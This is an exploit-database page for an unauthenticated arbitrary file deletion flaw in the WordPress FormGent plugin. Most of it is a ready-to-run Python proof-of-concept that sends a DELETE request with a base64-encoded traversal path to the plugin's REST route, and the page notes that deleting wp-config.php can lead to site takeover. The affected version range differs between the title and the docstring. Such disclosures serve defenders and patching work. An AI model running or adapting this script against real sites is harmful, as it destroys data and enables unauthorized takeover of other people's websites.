Lucene search
+L

📄 WordPress FormGent 1.6.0 Unauthenticated Arbitrary File Deletion

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 39 Views

WordPress FormGent plugin up to version 1.6.0 exposes an unauthenticated REST route enabling arbitrary file deletion.

Related
Code
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin FormGent <= 1.6.0 - Unauthenticated Arbitrary File Deletion
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/formgent/
    # Software Link: https://downloads.wordpress.org/plugin/formgent.1.6.0.zip
    # Version: 1.6.0 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2026-22460
    """
    FormGent <= 1.7.0 exposes the REST route /wp-json/formgent/responses/attachments with no
    permission_callback. AttachmentController deletes $file_path = ABSPATH.'wp-content/uploads/'.
    base64_decode(file_token) via wp_delete_file(). When wp-content/uploads/formgent/ does not yet
    exist, the realpath() containment guard collapses to "/" and passes for any absolute/traversal
    path, giving an unauthenticated attacker arbitrary file deletion (e.g. wp-config.php -> site
    reset -> takeover). Demonstrated here against a canary file to avoid breaking the lab.
    """
    import argparse, sys, base64
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--file", default="canary_fg.txt", help="path relative to wp-content/uploads/ (use ../ to traverse)")
        a = ap.parse_args(); base = a.target.rstrip("/")
        s = requests.Session(); s.verify = False
        token = base64.b64encode(a.file.encode()).decode()
        print(f"[*] Target: {base} | deleting (relative to uploads/): {a.file}")
        r = s.request("DELETE", base + "/wp-json/formgent/responses/attachments",
                      json={"file_token": token}, timeout=20)
        print(f"[*] DELETE /wp-json/formgent/responses/attachments -> HTTP {r.status_code} :: {r.text[:80]}")
        if r.status_code in (200, 204):
            print(f"\n[+] Arbitrary file deletion request accepted (unauthenticated). Target file removed.")
            return 0
        print("\n[-] not confirmed"); return 1
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.18.6
EPSS0.00385
SSVC
39